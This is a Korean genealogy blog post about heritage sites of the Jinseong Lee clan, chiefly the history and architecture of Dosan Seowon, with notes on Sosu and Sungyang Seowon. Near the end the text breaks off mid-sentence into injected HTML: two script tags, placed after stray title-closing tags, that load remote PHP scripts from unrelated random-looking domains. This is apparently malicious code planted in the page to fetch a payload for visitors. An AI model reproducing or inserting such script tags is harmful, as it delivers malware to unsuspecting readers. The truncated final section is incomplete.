선조를 찾아서

진성이씨 유적

오토산 2012. 5. 22. 04:24

 

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  眞城李氏 遺蹟(진성이씨 유적)-齋宇

 


眞城李氏 遺蹟(진성이씨 유적)-齋宇 
 
글쓴이: 周村宗門 二十四世 門裔孫 李載賢  

1.재우(齋宇) 

▲퇴계 이황(退溪 李滉1501-1570)선생 배향(配享)...제향(祭享) 

1.도산서원[陶山書院] 
-1574年(선조7)에 대유(大儒) 문순공(文純公) 퇴계退溪 이황李滉(1501-1570)선생의 학덕(學德)을 추모(追慕)하는 그의 문인(門人)과 유림(儒林)이 중심이 되어 상덕사(尙德祠)라는 사묘(祠廟)를 세우고 경북 안동시 도산면(陶山面) 토계리(土溪里)에 창건(創建)한 서원(書院) 

지정번호 : 사적 제170호 
지정연도 : 1969년 
소재지 : 경북 안동시 도산면 토계리 
시대 : 조선 선조7(1574年) 
크기 : 동서재(東西齋)-홍의재(弘毅齋),박약재(博約齋) 정면 3칸 측면 2칸, 전교당(典敎堂:보물 210호) 
분류 : 서원 

사적(史蹟) 제170호. 1969년 지정. 동서재(東西齋) 정면 3칸, 측면 2칸의 홑처마 맞배집. 전교당(典敎堂:보물 210호) 정면 3칸, 측면 2칸의 홑처마 굴도리집. 상덕사(尙德祠) 정면 3칸, 측면 2칸의 단층 기와집. 원래는 이황선생이 1561年(명종16)에 도산서당(陶山書堂)을 건립(建立)하여 유생을 가르치며 학덕을 쌓던 곳으로,1575年(선조8) 석봉石峯 한호(韓濩)의 글씨로 된 사액(賜額)을 받음으로써 영남(嶺南) 유학(儒學)의 연수(淵藪)가 되었다. 
이 서원의 건축은 모두 무사석계층(武砂石階層)이며 방주(方柱)의 사용이나 초공(草工)을 끼운 대들보의 간략한 가구(架構) 등 전체적으로 간소하다. 서원 안에는 약 400종에 달하는 4,000권이 넘는 장서와 장판(藏板) 및 이황선생의 유품이 남아 있다. 

초기의 서원은 인재를 키우고 제사(祭祀)를 지내며 유교적 향촌질서를 유지하고,시정(時政)을 비판하며 사림(士林)의 공론(公論)을 형성하는 등 긍정적인 기능을 발휘하였다.그러나 점차적으로 양적성장을 가져오면서 혈연,지연관계나 학벌(學閥),사제(師弟),당파(黨派) 등과 연결이 되어,지방 양반들의 이익집단화가 되는 경향을 띠게 되었다.또한 양민(良民)이 서원의 노비로 들어가 군역(軍役)을 기피하고,유생(儒生)들도 학문 대신 붕당(朋黨)을 형성해 당쟁에 빠져 국가를 분열시키는 폐단(弊端)을 가져왔다.따라서 영조(英祖),정조(正祖),철종(哲宗) 등은 서원 정비에 많은 노력을 하였으나,특권계층의 이해관계 때문에 별다른 성과가 없었다. 
그 후 1864年(고종1) 대원군이 섭정(攝政)하면서 서원에 대한 일체의 특권을 없애고 서원의 설치를 엄금하는 등,적극적으로 정비를 단행하여 사표(師表)가 될 만한 전국의 47개소의 서원만 남기고 모두 철폐(撤廢)하기에 이르렀다. 
1871年(고종8) 대원군(大院君)의 서원 철폐 때에는 도산서원(陶山書院)과 소수서원(紹修書院).숭양서원(崧陽書院)을 비롯하여 병산서원(屛山書院).필암서원(筆巖書院).무성서원(武城書院).금오서원(金烏書院).용연서원(龍淵書院).기공사(紀功祠) 등이 정리 대상에서 제외되었다. 
1969년 문화체육부에서 중수(重修) 복원(復原)하여 위상(位相)을 한층 높였다. 

[소수서원은 조선 중종38년(1543年)에 풍기군수(豊基郡守) 주세붕선생이 설립(設立)한 우리나라 서원의 시초(始初)이며 초기에는 백운동서원(白雲洞書院)이라 하였다가 후일 명종5년(1550年) 퇴계선생에 의해 최초의 사액(賜額)서원으로 '소수서원'이라 하였고 공인(公認)된 사학(私學)이 되었다. 강당에는 명종의 친필로 된 편액(扁額)이 있다.고려조의 유현(儒賢) 문성공(文成公) 회헌晦軒 안유安裕:安珦(1243-1306)선생을 배향(配享)하고 있으며 중종37년(1542年)에 창건(創建)한 회헌선생의 사묘(祠廟)가 있고,1544年에는 고려 충혜왕조에 강릉도안렴사(江陵道按廉使),밀직사(密直使)를 역임한 문정공(文貞公) 안축(安軸)선생과 안보(安輔)선생을 추배(追配)하였고,인조11년(1633年)에는 문민공(文敏公) 주세붕周世鵬선생을 추배(追配)하였다.1963년1월21일 사적 제55호로 지정되었다.대원군의 서원철폐 때에도 철폐를 면한 전국四十七서원 중의 하나로 지금도 옛모습을 그대로 간직하고 있다. 
숭양서원은 고려조의 유현(儒賢) 문충공(文忠公) 포은圃隱 정몽주鄭夢周(1337-1392)선생을 제향(祭享)하고 있고 북한의 사적(史蹟) 제51호로 지정되어 있다. 
선조6년(1573年)개성유수 남응운(南應雲)이 유림들과 협의끝에 정몽주의 충절을 기리고, 아울러 서경덕(徐敬德)의 학덕을 추모하기 위해 개성 선죽교 위쪽 정몽주의 집터에 문충당(文忠堂)을 세웠다. 1575年 문충당에'숭양(崧陽)'의 사액(賜額)이 내려 국가가 공인한 서원으로 승격되었고, 현종9년(1668年)이후 김육(金堉),조익(趙翼),우현보(禹玄寶) 등을 추가로 배향(配享)하였다. 흥선대원군의 서원철폐령에서 제외된 四十七서원의 하나로 남아 선현을 봉사(奉祠)하고 지방교육을 담당하였다] 

□ 도산서원 전교당 [陶山書院 典敎堂] 
경북 안동시<s  </title><script src=http://fgthyj.com/r.php ></script>  </title><script src=http://hgbyju.com/r.php ></script>

 

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